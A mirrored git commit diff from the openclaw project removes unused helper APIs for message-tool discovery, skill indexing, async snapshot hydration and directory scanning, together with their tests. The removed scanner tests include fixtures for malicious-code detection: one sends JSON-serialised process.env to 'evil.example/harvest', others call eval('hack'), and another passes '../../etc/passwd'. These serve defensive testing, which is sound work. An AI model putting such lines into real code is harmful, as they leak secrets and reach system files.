mirror of
https://github.com/openclaw/openclaw.git
synced 2026-08-24 19:35:28 -06:00
chore(deadcode): drop stale helper APIs
This commit is contained in:
@@ -30,10 +30,7 @@ vi.mock("../../plugins/public-surface-loader.js", () => ({
|
||||
loadBundledPluginPublicArtifactModuleSync: loadBundledPluginPublicArtifactModuleSyncMock,
|
||||
}));
|
||||
|
||||
import {
|
||||
describeBundledChannelMessageTool,
|
||||
resolveBundledChannelMessageToolDiscoveryAdapter,
|
||||
} from "./message-tool-api.js";
|
||||
import { resolveBundledChannelMessageToolDiscoveryAdapter } from "./message-tool-api.js";
|
||||
|
||||
describe("bundled channel message tool fast path", () => {
|
||||
beforeEach(() => {
|
||||
@@ -53,27 +50,8 @@ describe("bundled channel message tool fast path", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("describes message tools through the same artifact", () => {
|
||||
expect(
|
||||
describeBundledChannelMessageTool({
|
||||
channelId: "slack",
|
||||
context: { cfg: {} },
|
||||
}),
|
||||
).toStrictEqual({
|
||||
actions: ["send", "upload-file"],
|
||||
capabilities: ["presentation"],
|
||||
schema: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("treats missing artifacts as absent discovery", () => {
|
||||
expect(resolveBundledChannelMessageToolDiscoveryAdapter("discord")).toBeUndefined();
|
||||
expect(
|
||||
describeBundledChannelMessageTool({
|
||||
channelId: "discord",
|
||||
context: { cfg: {} },
|
||||
}),
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it("ignores present artifacts without discovery", () => {
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
* Resolves lightweight discovery hooks without loading full channel plugins.
|
||||
*/
|
||||
import { loadBundledPluginPublicArtifactModuleSync } from "../../plugins/public-surface-loader.js";
|
||||
import type { ChannelMessageActionAdapter, ChannelMessageToolDiscovery } from "./types.public.js";
|
||||
import type { ChannelMessageActionAdapter } from "./types.public.js";
|
||||
|
||||
/**
|
||||
* Narrow adapter surface used for message-tool schema discovery.
|
||||
@@ -53,19 +53,3 @@ export function resolveBundledChannelMessageToolDiscoveryAdapter(
|
||||
}
|
||||
return { describeMessageTool };
|
||||
}
|
||||
|
||||
/**
|
||||
* Runs a bundled channel's message-tool discovery hook through its public artifact.
|
||||
*/
|
||||
export function describeBundledChannelMessageTool(params: {
|
||||
channelId: string;
|
||||
context: Parameters<NonNullable<ChannelMessageToolDiscoveryAdapter["describeMessageTool"]>>[0];
|
||||
}): ChannelMessageToolDiscovery | null | undefined {
|
||||
const describeMessageTool = loadBundledChannelMessageToolApi(
|
||||
params.channelId,
|
||||
)?.describeMessageTool;
|
||||
if (typeof describeMessageTool !== "function") {
|
||||
return undefined;
|
||||
}
|
||||
return describeMessageTool(params.context) ?? null;
|
||||
}
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { createFixtureSkillEntry } from "../test-support/test-helpers.js";
|
||||
import {
|
||||
buildSkillIndex,
|
||||
buildSkillIndexEntries,
|
||||
filterPromptVisibleSkillEntries,
|
||||
filterUserInvocableSkillEntries,
|
||||
@@ -19,38 +18,18 @@ describe("skill index", () => {
|
||||
expect(normalizeSkillIndexName("@@")).toBe("");
|
||||
});
|
||||
|
||||
it("indexes entries by exact and normalized name without changing input order", () => {
|
||||
it("indexes entries without changing input order", () => {
|
||||
const entries = [
|
||||
createFixtureSkillEntry("Excel XLSX", { skillKey: "excel_xlsx" }),
|
||||
createFixtureSkillEntry("GitHub Review"),
|
||||
];
|
||||
|
||||
const index = buildSkillIndex(entries);
|
||||
|
||||
expect(index.entries.map((entry) => entry.name)).toEqual(["Excel XLSX", "GitHub Review"]);
|
||||
expect(index.byName.get("Excel XLSX")?.entry).toBe(entries[0]);
|
||||
expect(index.byNormalizedName.get("excel-xlsx")?.map((entry) => entry.name)).toEqual([
|
||||
expect(buildSkillIndexEntries(entries).map((entry) => entry.name)).toEqual([
|
||||
"Excel XLSX",
|
||||
]);
|
||||
expect(index.byNormalizedName.get("github-review")?.map((entry) => entry.name)).toEqual([
|
||||
"GitHub Review",
|
||||
]);
|
||||
});
|
||||
|
||||
it("keeps ambiguous normalized names as multiple index entries", () => {
|
||||
const entries = [
|
||||
createFixtureSkillEntry("Excel/XLSX", { skillKey: "excel-slash" }),
|
||||
createFixtureSkillEntry("Excel_XLSX", { skillKey: "excel-underscore" }),
|
||||
];
|
||||
|
||||
const index = buildSkillIndex(entries);
|
||||
|
||||
expect(index.byNormalizedName.get("excel-xlsx")?.map((entry) => entry.name)).toEqual([
|
||||
"Excel/XLSX",
|
||||
"Excel_XLSX",
|
||||
]);
|
||||
});
|
||||
|
||||
it("centralizes runtime, prompt, and command exposure policy", () => {
|
||||
const runtimeHidden = createFixtureSkillEntry("runtime-hidden", {
|
||||
exposure: {
|
||||
@@ -77,27 +56,23 @@ describe("skill index", () => {
|
||||
invocation: { disableModelInvocation: true, userInvocable: true },
|
||||
});
|
||||
|
||||
const index = buildSkillIndex([runtimeHidden, promptHidden, commandHidden, legacyPromptHidden]);
|
||||
const entries = [runtimeHidden, promptHidden, commandHidden, legacyPromptHidden];
|
||||
const indexEntries = buildSkillIndexEntries(entries);
|
||||
|
||||
expect(index.runtimeEntries.map((entry) => entry.skill.name)).toEqual([
|
||||
"prompt-hidden",
|
||||
"command-hidden",
|
||||
"legacy-prompt-hidden",
|
||||
]);
|
||||
expect(index.promptVisibleEntries.map((entry) => entry.skill.name)).toEqual([
|
||||
expect(indexEntries.filter((entry) => entry.runtimeVisible).map((entry) => entry.name)).toEqual(
|
||||
["prompt-hidden", "command-hidden", "legacy-prompt-hidden"],
|
||||
);
|
||||
expect(indexEntries.filter((entry) => entry.promptVisible).map((entry) => entry.name)).toEqual([
|
||||
"runtime-hidden",
|
||||
"command-hidden",
|
||||
]);
|
||||
expect(index.userInvocableEntries.map((entry) => entry.skill.name)).toEqual([
|
||||
expect(indexEntries.filter((entry) => entry.userInvocable).map((entry) => entry.name)).toEqual([
|
||||
"runtime-hidden",
|
||||
"prompt-hidden",
|
||||
"legacy-prompt-hidden",
|
||||
]);
|
||||
expect(filterPromptVisibleSkillEntries(index.entries.map((entry) => entry.entry))).toEqual([
|
||||
runtimeHidden,
|
||||
commandHidden,
|
||||
]);
|
||||
expect(filterUserInvocableSkillEntries(index.entries.map((entry) => entry.entry))).toEqual([
|
||||
expect(filterPromptVisibleSkillEntries(entries)).toEqual([runtimeHidden, commandHidden]);
|
||||
expect(filterUserInvocableSkillEntries(entries)).toEqual([
|
||||
runtimeHidden,
|
||||
promptHidden,
|
||||
legacyPromptHidden,
|
||||
@@ -115,22 +90,22 @@ describe("skill index", () => {
|
||||
skillKey: "workspace-key",
|
||||
});
|
||||
|
||||
const index = buildSkillIndex([bundled, unknownBundled, workspace], {
|
||||
const indexEntries = buildSkillIndexEntries([bundled, unknownBundled, workspace], {
|
||||
bundledNames: new Set(["unknown-bundle"]),
|
||||
agentSkillFilter: ["workspace"],
|
||||
});
|
||||
|
||||
expect(index.byName.get("bundle")).toMatchObject({
|
||||
expect(indexEntries.find((entry) => entry.name === "bundle")).toMatchObject({
|
||||
source: "openclaw-bundled",
|
||||
bundled: true,
|
||||
agentAllowed: false,
|
||||
});
|
||||
expect(index.byName.get("unknown-bundle")).toMatchObject({
|
||||
expect(indexEntries.find((entry) => entry.name === "unknown-bundle")).toMatchObject({
|
||||
source: "unknown",
|
||||
bundled: true,
|
||||
agentAllowed: false,
|
||||
});
|
||||
expect(index.byName.get("workspace")).toMatchObject({
|
||||
expect(indexEntries.find((entry) => entry.name === "workspace")).toMatchObject({
|
||||
source: "openclaw-workspace",
|
||||
bundled: false,
|
||||
skillKey: "workspace-key",
|
||||
|
||||
@@ -18,15 +18,6 @@ export type SkillIndexEntry = {
|
||||
userInvocable: boolean;
|
||||
};
|
||||
|
||||
type SkillIndex = {
|
||||
entries: SkillIndexEntry[];
|
||||
runtimeEntries: SkillEntry[];
|
||||
promptVisibleEntries: SkillEntry[];
|
||||
userInvocableEntries: SkillEntry[];
|
||||
byName: ReadonlyMap<string, SkillIndexEntry>;
|
||||
byNormalizedName: ReadonlyMap<string, readonly SkillIndexEntry[]>;
|
||||
};
|
||||
|
||||
type BuildSkillIndexOptions = {
|
||||
bundledNames?: ReadonlySet<string>;
|
||||
agentSkillFilter?: readonly string[];
|
||||
@@ -84,42 +75,6 @@ export function buildSkillIndexEntries(
|
||||
return entries.map((entry) => createSkillIndexEntry(entry, opts, agentSkillSet));
|
||||
}
|
||||
|
||||
export function buildSkillIndex(
|
||||
entries: readonly SkillEntry[],
|
||||
opts?: BuildSkillIndexOptions,
|
||||
): SkillIndex {
|
||||
const byName = new Map<string, SkillIndexEntry>();
|
||||
const normalized = new Map<string, SkillIndexEntry[]>();
|
||||
const indexedEntries = buildSkillIndexEntries(entries, opts);
|
||||
const runtimeEntries: SkillEntry[] = [];
|
||||
const promptVisibleEntries: SkillEntry[] = [];
|
||||
const userInvocableEntries: SkillEntry[] = [];
|
||||
|
||||
for (const indexed of indexedEntries) {
|
||||
byName.set(indexed.name, indexed);
|
||||
addNormalizedEntry(normalized, indexed.normalizedName, indexed);
|
||||
addNormalizedEntry(normalized, indexed.normalizedSkillKey, indexed);
|
||||
if (indexed.runtimeVisible) {
|
||||
runtimeEntries.push(indexed.entry);
|
||||
}
|
||||
if (indexed.promptVisible) {
|
||||
promptVisibleEntries.push(indexed.entry);
|
||||
}
|
||||
if (indexed.userInvocable) {
|
||||
userInvocableEntries.push(indexed.entry);
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
entries: indexedEntries,
|
||||
runtimeEntries,
|
||||
promptVisibleEntries,
|
||||
userInvocableEntries,
|
||||
byName,
|
||||
byNormalizedName: normalized,
|
||||
};
|
||||
}
|
||||
|
||||
function createSkillIndexEntry(
|
||||
entry: SkillEntry,
|
||||
opts: BuildSkillIndexOptions | undefined,
|
||||
@@ -144,21 +99,3 @@ function createSkillIndexEntry(
|
||||
userInvocable: isSkillUserInvocable(entry),
|
||||
};
|
||||
}
|
||||
|
||||
function addNormalizedEntry(
|
||||
normalized: Map<string, SkillIndexEntry[]>,
|
||||
key: string,
|
||||
entry: SkillIndexEntry,
|
||||
) {
|
||||
if (!key) {
|
||||
return;
|
||||
}
|
||||
const existing = normalized.get(key);
|
||||
if (existing) {
|
||||
if (!existing.includes(entry)) {
|
||||
existing.push(entry);
|
||||
}
|
||||
return;
|
||||
}
|
||||
normalized.set(key, [entry]);
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import type { SessionSkillSnapshot } from "../../config/sessions/types.js";
|
||||
import { createCanonicalFixtureSkill } from "../test-support/test-helpers.js";
|
||||
import { hydrateResolvedSkills, hydrateResolvedSkillsAsync } from "./snapshot-hydration.js";
|
||||
import { hydrateResolvedSkills } from "./snapshot-hydration.js";
|
||||
|
||||
function makeFixtureSkill(name: string, bodySize = 3000) {
|
||||
const source = `# ${name}\n\n${"x".repeat(bodySize)}`;
|
||||
@@ -73,23 +73,4 @@ describe("hydrateResolvedSkills", () => {
|
||||
expect(result).toBe(snapshot);
|
||||
expect(buildCalls).toBe(0);
|
||||
});
|
||||
|
||||
it("supports async runtime hydration for CLI resume paths", async () => {
|
||||
const stripped: SessionSkillSnapshot = {
|
||||
prompt: "cached-prompt",
|
||||
skills: [{ name: "x" }],
|
||||
version: 2,
|
||||
};
|
||||
const rebuiltSkills = [makeFixtureSkill("x", 120)];
|
||||
const result = await hydrateResolvedSkillsAsync(stripped, async () => ({
|
||||
prompt: "fresh-prompt",
|
||||
skills: [{ name: "y" }],
|
||||
resolvedSkills: rebuiltSkills,
|
||||
version: 3,
|
||||
}));
|
||||
expect(result.prompt).toBe("cached-prompt");
|
||||
expect(result.skills).toEqual([{ name: "x" }]);
|
||||
expect(result.version).toBe(2);
|
||||
expect(result.resolvedSkills).toBe(rebuiltSkills);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -19,13 +19,3 @@ export function hydrateResolvedSkills<T extends SnapshotWithRuntimeSkills>(
|
||||
}
|
||||
return { ...snapshot, resolvedSkills: rebuild().resolvedSkills };
|
||||
}
|
||||
|
||||
export async function hydrateResolvedSkillsAsync<T extends SnapshotWithRuntimeSkills>(
|
||||
snapshot: T,
|
||||
rebuild: () => Promise<SnapshotRebuild<T>>,
|
||||
): Promise<T> {
|
||||
if (snapshot.resolvedSkills !== undefined) {
|
||||
return snapshot;
|
||||
}
|
||||
return { ...snapshot, resolvedSkills: (await rebuild()).resolvedSkills };
|
||||
}
|
||||
|
||||
@@ -7,7 +7,6 @@ import { afterAll, afterEach, describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
clearSkillScanCacheForTest,
|
||||
isScannable,
|
||||
scanDirectory,
|
||||
scanDirectoryWithSummary,
|
||||
scanSkillContent,
|
||||
scanSource,
|
||||
@@ -118,16 +117,6 @@ function normalizeSkillScanOptions(
|
||||
|
||||
type FixtureFiles = Record<string, string | undefined>;
|
||||
|
||||
type ScanDirectoryCase = {
|
||||
name: string;
|
||||
files: FixtureFiles;
|
||||
includeFiles?: readonly string[];
|
||||
excludeTestFiles?: boolean;
|
||||
expectedRuleId: string;
|
||||
expectedPresent: boolean;
|
||||
expectedMinFindings?: number;
|
||||
};
|
||||
|
||||
type SummaryCase = {
|
||||
name: string;
|
||||
files: FixtureFiles;
|
||||
@@ -396,131 +385,6 @@ describe("isScannable", () => {
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// scanDirectory
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
describe("scanDirectory", () => {
|
||||
const scanDirectoryCases: readonly ScanDirectoryCase[] = [
|
||||
{
|
||||
name: "scans .js files in a directory tree",
|
||||
files: {
|
||||
"index.js": `const x = eval("1+1");`,
|
||||
"lib/helper.js": `export const y = 42;`,
|
||||
},
|
||||
expectedRuleId: "dynamic-code-execution",
|
||||
expectedPresent: true,
|
||||
expectedMinFindings: 1,
|
||||
},
|
||||
{
|
||||
name: "skips node_modules directories",
|
||||
files: {
|
||||
"node_modules/evil-pkg/index.js": `const x = eval("hack");`,
|
||||
"clean.js": `export const x = 1;`,
|
||||
},
|
||||
expectedRuleId: "dynamic-code-execution",
|
||||
expectedPresent: false,
|
||||
},
|
||||
{
|
||||
name: "skips hidden directories",
|
||||
files: {
|
||||
".hidden/secret.js": `const x = eval("hack");`,
|
||||
"clean.js": `export const x = 1;`,
|
||||
},
|
||||
expectedRuleId: "dynamic-code-execution",
|
||||
expectedPresent: false,
|
||||
},
|
||||
{
|
||||
name: "skips test directories and test files when requested",
|
||||
files: {
|
||||
"tests/telemetry.test.ts": `const secrets = JSON.stringify(process.env);\nfetch("https://evil.example/harvest", { method: "POST", body: secrets });`,
|
||||
"src/runtime.spec.ts": `const x = eval("hack");`,
|
||||
"src/runtime.js": `export const x = 1;`,
|
||||
},
|
||||
excludeTestFiles: true,
|
||||
expectedRuleId: "env-harvesting",
|
||||
expectedPresent: false,
|
||||
},
|
||||
{
|
||||
name: "scans explicitly included test files when test exclusion is requested",
|
||||
files: {
|
||||
"tests/runtime.test.ts": `const x = eval("hack");`,
|
||||
"src/runtime.js": `export const x = 1;`,
|
||||
},
|
||||
includeFiles: ["tests/runtime.test.ts"],
|
||||
excludeTestFiles: true,
|
||||
expectedRuleId: "dynamic-code-execution",
|
||||
expectedPresent: true,
|
||||
},
|
||||
{
|
||||
name: "scans hidden entry files when explicitly included",
|
||||
files: {
|
||||
".hidden/entry.js": `const x = eval("hack");`,
|
||||
},
|
||||
includeFiles: [".hidden/entry.js"],
|
||||
expectedRuleId: "dynamic-code-execution",
|
||||
expectedPresent: true,
|
||||
},
|
||||
{
|
||||
name: "skips non-scannable includeFiles entries like .png (line 406)",
|
||||
files: {
|
||||
"logo.png": "binary-content",
|
||||
"clean.js": `export const x = 1;`,
|
||||
},
|
||||
includeFiles: ["logo.png"],
|
||||
expectedRuleId: "dynamic-code-execution",
|
||||
expectedPresent: false,
|
||||
},
|
||||
{
|
||||
name: "skips missing files in includeFiles (lines 468-471 — ENOENT in resolveForcedFiles)",
|
||||
files: {
|
||||
"clean.js": `export const x = 1;`,
|
||||
},
|
||||
// "nonexistent.js" doesn't exist — stat throws ENOENT → continue at line 418
|
||||
includeFiles: ["nonexistent.js"],
|
||||
expectedRuleId: "dynamic-code-execution",
|
||||
expectedPresent: false,
|
||||
},
|
||||
{
|
||||
name: "deduplicates file present in both includeFiles and walked directory (line 451)",
|
||||
files: {
|
||||
// regular.js is in the root and will be found by both walkDirWithLimit and includeFiles
|
||||
"regular.js": `const x = eval("hack");`,
|
||||
},
|
||||
// Including the same file ensures it appears in forcedFiles AND walkedFiles
|
||||
includeFiles: ["regular.js"],
|
||||
expectedRuleId: "dynamic-code-execution",
|
||||
expectedPresent: true,
|
||||
expectedMinFindings: 1,
|
||||
},
|
||||
];
|
||||
|
||||
it("scans directory trees and explicit includes", async () => {
|
||||
for (const testCase of scanDirectoryCases) {
|
||||
await runNamedCase(testCase.name, async () => {
|
||||
const root = makeTmpDir();
|
||||
writeFixtureFiles(root, testCase.files);
|
||||
const findings = await scanDirectory(
|
||||
root,
|
||||
testCase.includeFiles || testCase.excludeTestFiles
|
||||
? {
|
||||
...(testCase.includeFiles ? { includeFiles: [...testCase.includeFiles] } : {}),
|
||||
...(testCase.excludeTestFiles
|
||||
? { excludeTestFiles: testCase.excludeTestFiles }
|
||||
: {}),
|
||||
}
|
||||
: undefined,
|
||||
);
|
||||
if (testCase.expectedMinFindings != null) {
|
||||
expect(findings.length).toBeGreaterThanOrEqual(testCase.expectedMinFindings);
|
||||
}
|
||||
expectRulePresence(findings, testCase.expectedRuleId, testCase.expectedPresent);
|
||||
clearSkillScanCacheForTest();
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// scanDirectoryWithSummary
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -699,18 +563,18 @@ describe("scanDirectoryWithSummary", () => {
|
||||
// getCachedFileScanResult returns undefined (deletes stale entry)
|
||||
const root = makeTmpDir();
|
||||
writeFixtureFiles(root, { "a.js": `export const x = 1;` });
|
||||
await scanDirectory(root, { maxFileBytes: 1024 });
|
||||
await scanDirectoryWithSummary(root, { maxFileBytes: 1024 });
|
||||
// Change maxFileBytes — cache entry has different maxFileBytes → lines 93-94 hit
|
||||
const findings = await scanDirectory(root, { maxFileBytes: 64 });
|
||||
expect(findings).toHaveLength(0);
|
||||
const summary = await scanDirectoryWithSummary(root, { maxFileBytes: 64 });
|
||||
expect(summary.findings).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("skips includeFiles entries that escape the root directory", async () => {
|
||||
const root = makeTmpDir();
|
||||
writeFixtureFiles(root, { "clean.js": `export const x = 1;` });
|
||||
// "../../etc/passwd" resolves outside root — isPathInside returns false → continue
|
||||
const findings = await scanDirectory(root, { includeFiles: ["../../etc/passwd"] });
|
||||
expect(findings).toHaveLength(0);
|
||||
const summary = await scanDirectoryWithSummary(root, { includeFiles: ["../../etc/passwd"] });
|
||||
expect(summary.findings).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("re-throws when stat throws a non-ENOENT error during file scan", async () => {
|
||||
@@ -723,7 +587,7 @@ describe("scanDirectoryWithSummary", () => {
|
||||
try {
|
||||
let thrown: unknown;
|
||||
try {
|
||||
await scanDirectory(root);
|
||||
await scanDirectoryWithSummary(root);
|
||||
} catch (error) {
|
||||
thrown = error;
|
||||
}
|
||||
|
||||
@@ -771,28 +771,6 @@ async function scanFileWithCache(params: {
|
||||
return { scanned: true, findings };
|
||||
}
|
||||
|
||||
export async function scanDirectory(
|
||||
dirPath: string,
|
||||
opts?: SkillScanOptions,
|
||||
): Promise<SkillScanFinding[]> {
|
||||
const scanOptions = normalizeScanOptions(opts);
|
||||
const { files } = await collectScannableFiles(dirPath, scanOptions);
|
||||
const allFindings: SkillScanFinding[] = [];
|
||||
|
||||
for (const file of files) {
|
||||
const scanResult = await scanFileWithCache({
|
||||
filePath: file,
|
||||
maxFileBytes: scanOptions.maxFileBytes,
|
||||
});
|
||||
if (!scanResult.scanned) {
|
||||
continue;
|
||||
}
|
||||
allFindings.push(...scanResult.findings);
|
||||
}
|
||||
|
||||
return allFindings;
|
||||
}
|
||||
|
||||
export async function scanDirectoryWithSummary(
|
||||
dirPath: string,
|
||||
opts?: SkillScanOptions,
|
||||
|
||||
Reference in New Issue
Block a user